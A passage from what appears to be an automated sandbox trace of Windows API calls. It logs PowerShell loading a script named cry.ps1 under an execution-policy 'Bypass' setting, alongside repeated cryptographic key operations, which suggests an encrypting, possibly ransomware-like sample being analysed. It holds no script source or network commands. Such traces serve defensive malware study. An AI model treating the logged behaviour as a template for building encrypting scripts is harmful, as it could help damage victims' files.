(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xe9c6\xe413\x2f68\x1aa1\xd11a\xb3f0\xe6cb\x2df2") returned 0x30 [0145.093] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xfd74\x5cb7\xe75d\xbadd\xa656\x816d\x5043\xfec0") returned 0x30 [0145.093] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\xf02b\x95a3\x18e1\x29e\xe9ae\x7bde\x22c6\x46e8") returned 0x30 [0145.093] CryptDestroyKey (hKey=0x8e84e78) returned 1 [0145.093] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0145.093] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0145.094] CryptDestroyKey (hKey=0x8e856b8) returned 1 [0145.094] CryptReleaseContext (hProv=0x43972b8, dwFlags=0x0) returned 1 [0145.094] CryptReleaseContext (hProv=0x43972b8, dwFlags=0x0) returned 1 [0145.094] SysStringLen (param_1="\x78bc\x5c66\x75f4\x2e99\x9e26\xe56\x8b2e\x3a39\x5834\xea2c\x32e8\xf660\x238f\x9be0\x9b8b\x190a\xabf6\x5296\x9d8b\xd358\x1901\x9ac3\xcbcf\x566\x897d\x514f\x2ee\x953\x7a81\x2f17\xe63f\xba50\x70f0\x26e\x60d4\x9222\x1ece\xd200\x4b6e\x11\xe65\xdc1b\x90b9\xba31\xc8ae\xc27a\x3e76\x48ac") returned 0x30 [0145.094] CryptDestroyKey (hKey=0x8e84a38) returned 1 [0145.095] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0145.095] CloseHandle (hObject=0x8d0) returned 1 [0145.095] CryptReleaseContext (hProv=0x8e022d8, dwFlags=0x0) returned 1 [0145.095] CloseHandle (hObject=0x81c) returned 1 [0145.095] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x57fc\xd72b\x646f\xd9ed\xe9f2\x2d09\x64dc\xfcee") returned 0x30 [0145.096] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0145.096] CloseHandle (hObject=0x784) returned 1 [0145.096] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4\x5021\x71cb\x8516\x30b6\x7421\x65af\x6ce7\xeabf") returned 0x30 [0145.096] CryptDestroyKey (hKey=0x8e85078) returned 1 [0145.096] CryptReleaseContext (hProv=0x42ebc28, dwFlags=0x0) returned 1 [0145.097] CryptDestroyKey (hKey=0x8e857f8) returned 1 [0145.097] CryptReleaseContext (hProv=0x43972b8, dwFlags=0x0) returned 1 [0145.097] CryptReleaseContext (hProv=0x42ebc28, dwFlags=0x0) returned 1 [0145.097] SysStringLen (param_1="\x137\xe2f9\x5f5e\xebf6\x964c\xeabd\x7179\xc085\x5228\x297f\x6ec1\x2e4d\x45c7\x78bb\x9e5a\x6da1\xb36b\x46cc\x9a98\x68b6\x2ec8\xc06d\x81a0\xccdf\xab9e\xf947\x615e\xd2f2\xc756\x2856\xe02\x6da0\x3991\xc732\x3829\x2760\x3bdd\xc8e7\xd43\x97d\xccd6\x4bef\xa7aa\x3359\xd12\x32cb\x8c0f\x5c3e") returned 0x30 [0145.098] CryptDestroyKey (hKey=0x8e85038) returned 1 [0145.098] CryptReleaseContext (hProv=0x42ebc28, dwFlags=0x0) returned 1 [0145.098] CloseHandle (hObject=0x798) returned 1 [0145.098] CryptReleaseContext (hProv=0x42ebc28, dwFlags=0x0) returned 1 [0145.215] DeregisterEventSource (hEventLog=0x8b10004) returned 1 [0145.215] CloseHandle (hObject=0x550) returned 1 [0145.215] UnmapViewOfFile (lpBaseAddress=0x8d20000) returned 1 [0145.223] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0145.223] CryptDestroyKey (hKey=0x8e84ab8) returned 1 [0145.223] CryptReleaseContext (hProv=0x8e03460, dwFlags=0x0) returned 1 [0145.224] CryptReleaseContext (hProv=0x43972b8, dwFlags=0x0) returned 1 [0145.224] CloseHandle (hObject=0x234) returned 1 [0145.224] CryptReleaseContext (hProv=0x8e03460, dwFlags=0x0) returned 1 [0145.224] SysStringLen (param_1="\xabdb\x953b\xdcd8\x999b\x5cb3\x7f27\xa443\x36c7\x17cc\xfc18\xbca9\x50ce\x5199\xd2e1\x4409\x577b\x220\x646\xba25\xae65\x578c\x8d65\xfc57\xb274\x6cf\x8854\xe112\x4b3c\xfe9c\x4b4\x6b80\x271e\x14db\x1065\x4e5d\x678d\xf06d\x5404\x3670\xb495\xe540\x63d8\x94c1\x2cff\x7290\x5134\xc4a5\x6b60") returned 0x30 [0145.225] CryptDestroyKey (hKey=0x8e849f8) returned 1 [0145.225] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0145.225] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0145.225] RegCloseKey (hKey=0x80000004) returned 0x0 [0145.225] CloseHandle (hObject=0x474) returned 1 [0145.226] CryptDestroyKey (hKey=0x8e85378) returned 1 [0145.226] CryptReleaseContext (hProv=0x8e021c8, dwFlags=0x0) returned 1 [0145.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x5c61\xd16d\x26ca\x66d6\x4579\xf096\x762f\xd9fd") returned 0x30 [0145.226] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f\x15fe\x71e2\x2b41\xa2b7\xd21a\x5420\x8e3e\xbd4a") returned 0x30 [0145.227] CloseHandle (hObject=0x780) returned 1 [0145.227] CryptDestroyKey (hKey=0x8e84f78) returned 1 [0145.227] CryptReleaseContext (hProv=0x42ebcb0, dwFlags=0x0) returned 1 [0145.227] CoGetContextToken (in: pToken=0x84ef078 | out: pToken=0x84ef078) returned 0x0 [0145.227] CoGetContextToken (in: pToken=0x84ef000 | out: pToken=0x84ef000) returned 0x0 [0145.228] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x2 [0145.228] Release () returned 0x1 [0145.228] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 23 os_tid = 0xe14 [0086.756] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0086.756] CoGetContextToken (in: pToken=0x8a7f8fc | out: pToken=0x8a7f8fc) returned 0x0 [0086.756] CObjectContext::QueryInterface () returned 0x0 [0086.756] CObjectContext::GetCurrentThreadType () returned 0x0 [0086.756] Release () returned 0x0 [0086.756] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0086.756] CoUninitialize () [0086.756] RoInitialize () returned 0x1 [0086.756] RoUninitialize () returned 0x0 [0145.099] CoGetContextToken (in: pToken=0x8a7f5ac | out: pToken=0x8a7f5ac) returned 0x0 [0145.099] CObjectContext::QueryInterface () returned 0x0 [0145.099] CObjectContext::GetCurrentThreadType () returned 0x0 [0145.099] Release () returned 0x0 Thread: id = 24 os_tid = 0xde8 [0086.757] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0086.757] RoInitialize () returned 0x1 [0086.758] RoUninitialize () returned 0x0 [0086.761] GetCurrentProcessId () returned 0x51c [0086.761] EtwEventWriteTransfer (RegHandle=0x435c560, EventDescriptor=0x49, ActivityId=0x8aff254, RelatedActivityId=0x8aff1f4, UserDataCount=0x0, UserData=0x8) returned 0x0 [0086.761] EtwEventWriteTransfer (RegHandle=0x435c560, EventDescriptor=0x49, ActivityId=0x8aff284, RelatedActivityId=0x8aff224, UserDataCount=0x0, UserData=0x2) returned 0x0 [0086.762] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4fc [0086.773] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_Disabled", lpBuffer=0x8afe9c4, nSize=0x80 | out: lpBuffer="\xd1c2\x73ae") returned 0x0 [0086.774] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_MinCount", lpBuffer=0x8afe9c4, nSize=0x80 | out: lpBuffer="\xd1c2\x73ae") returned 0x0 [0086.775] EtwEventRegister (in: ProviderId=0x666a400, EnableCallback=0x85e2896, CallbackContext=0x0, RegHandle=0x666a3dc | out: RegHandle=0x666a3dc) returned 0x0 [0086.775] EtwEventSetInformation (RegHandle=0x435d740, InformationClass=0x4c, EventInformation=0x2, InformationLength=0x666a3a4) returned 0x0 [0086.777] ConnectNamedPipe (in: hNamedPipe=0x4c4, lpOverlapped=0x666a604 | out: lpOverlapped=0x666a604) returned 0 Thread: id = 25 os_tid = 0xdf4 Thread: id = 26 os_tid = 0xdd8 Thread: id = 27 os_tid = 0xdc0 [0095.755] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0095.757] RoInitialize () returned 0x1 [0095.757] RoUninitialize () returned 0x0 [0095.757] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x99af440*=0x70c, lpdwindex=0x99af25c | out: lpdwindex=0x99af25c) returned 0x0 [0095.765] SetThreadUILanguage (LangId=0x0) returned 0x409 [0095.769] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99af0bc, nSize=0x80 | out: lpBuffer="\xa580\x7400\xffff\xffff\x88e\x73b7\x2d34\x73b7\xe130\x6fd") returned 0x0 [0095.802] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1")) returned 0x20 [0095.802] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aec54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0095.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99af0b4) returned 1 [0095.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x99af130 | out: lpFileInformation=0x99af130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be58b7, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe0be58b7, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe16f8157, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x277)) returned 1 [0095.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99af0b0) returned 1 [0095.803] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aec1c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0095.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99af07c) returned 1 [0095.803] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x99af0f8 | out: lpFileInformation=0x99af0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be58b7, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe0be58b7, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe16f8157, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x277)) returned 1 [0095.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99af078) returned 1 [0095.803] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aec20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0095.803] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.803] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.803] CoTaskMemFree (pv=0x42c9ac0) [0095.803] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99aeaf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.803] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99aeb70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aefd0) returned 1 [0095.803] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99af04c | out: lpFileInformation=0x99af04c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aefcc) returned 1 [0095.803] WldpGetLockdownPolicy () returned 0x0 [0095.803] GetSystemInfo (in: lpSystemInfo=0x99af078 | out: lpSystemInfo=0x99af078*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0095.803] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99af004 | out: phkResult=0x99af004*=0x750) returned 0x0 [0095.804] RegQueryValueExW (in: hKey=0x750, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99af020, lpData=0x0, lpcbData=0x99af01c*=0x0 | out: lpType=0x99af020*=0x0, lpData=0x0, lpcbData=0x99af01c*=0x0) returned 0x2 [0095.804] RegCloseKey (hKey=0x750) returned 0x0 [0095.804] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aec5c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0095.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99af0f4) returned 1 [0095.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x6fe8e90 | out: lpFileInformation=0x6fe8e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be58b7, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe0be58b7, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe16f8157, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x277)) returned 1 [0095.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99af0f0) returned 1 [0095.804] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aebc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0095.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99af024) returned 1 [0095.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x99af0a0 | out: lpFileInformation=0x99af0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be58b7, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe0be58b7, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe16f8157, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x277)) returned 1 [0095.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99af020) returned 1 [0095.804] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aeaf8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0095.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aefec) returned 1 [0095.804] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0095.805] GetFileType (hFile=0x750) returned 0x1 [0095.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aefe8) returned 1 [0095.805] GetFileType (hFile=0x750) returned 0x1 [0095.805] WTGetSignatureInfo () returned 0x0 [0100.301] CoTaskMemAlloc (cb=0x10) returned 0x8c08588 [0100.301] CoTaskMemAlloc (cb=0x30) returned 0x43a04e0 [0100.301] WinVerifyTrust () returned 0x0 [0100.301] CoTaskMemFree (pv=0x43a04e0) [0100.301] CoTaskMemFree (pv=0x8c08588) [0100.301] CloseHandle (hObject=0x750) returned 1 [0100.302] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aebd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0100.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99af038) returned 1 [0100.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x99af0b4 | out: lpFileInformation=0x99af0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be58b7, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe0be58b7, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe16f8157, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x277)) returned 1 [0100.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99af034) returned 1 [0100.302] CoTaskMemAlloc (cb=0x10) returned 0x8c08588 [0100.302] CoTaskMemAlloc (cb=0x10) returned 0x8c08300 [0100.302] CoTaskMemAlloc (cb=0x92) returned 0x42e8e10 [0100.302] CoTaskMemAlloc (cb=0x30) returned 0x43a06d8 [0100.302] WinVerifyTrust () returned 0x800b0100 [0100.309] CoTaskMemFree (pv=0x8c08588) [0100.309] CoTaskMemFree (pv=0x43a06d8) [0100.309] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x99ae710, nSize=0xee | out: lpBuffer="こ欤\x14\x01푀玮ꁄ۾쀀ࣝ0") returned 0x0 [0100.310] CryptCATHandleFromStore () returned 0x475aa78 [0100.310] WTHelperGetProvSignerFromChain () returned 0x0 [0100.311] CoTaskMemAlloc (cb=0x10) returned 0x8c08588 [0100.311] CoTaskMemAlloc (cb=0x30) returned 0x43a06d8 [0100.311] WinVerifyTrust () returned 0x0 [0100.311] CoTaskMemFree (pv=0x43a06d8) [0100.311] CoTaskMemFree (pv=0x8c08588) [0100.311] CoTaskMemFree (pv=0x42e8e10) [0100.311] CoTaskMemFree (pv=0x8c08300) [0100.311] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aec48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0100.311] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x99af06c | out: phkResult=0x99af06c*=0x0) returned 0x2 [0100.311] GetEnvironmentVariableW (in: lpName="PSExecutionPolicyPreference", lpBuffer=0x99aeedc, nSize=0xee | out: lpBuffer="Bypass") returned 0x6 [0100.312] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aebdc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0100.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99af0d0) returned 1 [0100.312] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0100.312] GetFileType (hFile=0x750) returned 0x1 [0100.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99af0cc) returned 1 [0100.312] GetFileType (hFile=0x750) returned 0x1 [0100.312] SetFilePointer (in: hFile=0x750, lDistanceToMove=0, lpDistanceToMoveHigh=0x99af114*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99af114*=0) returned 0x0 [0100.312] ReadFile (in: hFile=0x750, lpBuffer=0x6febf44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99af140, lpOverlapped=0x0 | out: lpBuffer=0x6febf44*, lpNumberOfBytesRead=0x99af140*=0x277, lpOverlapped=0x0) returned 1 [0100.312] SetFilePointer (in: hFile=0x750, lDistanceToMove=0, lpDistanceToMoveHigh=0x99af114*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99af114*=0) returned 0x277 [0100.312] ReadFile (in: hFile=0x750, lpBuffer=0x6febf44, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99af140, lpOverlapped=0x0 | out: lpBuffer=0x6febf44*, lpNumberOfBytesRead=0x99af140*=0x0, lpOverlapped=0x0) returned 1 [0100.312] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0100.313] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0100.313] CoTaskMemFree (pv=0x42c9ac0) [0100.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99aeba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0100.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99aec24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0100.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99af084) returned 1 [0100.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99af100 | out: lpFileInformation=0x99af100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, 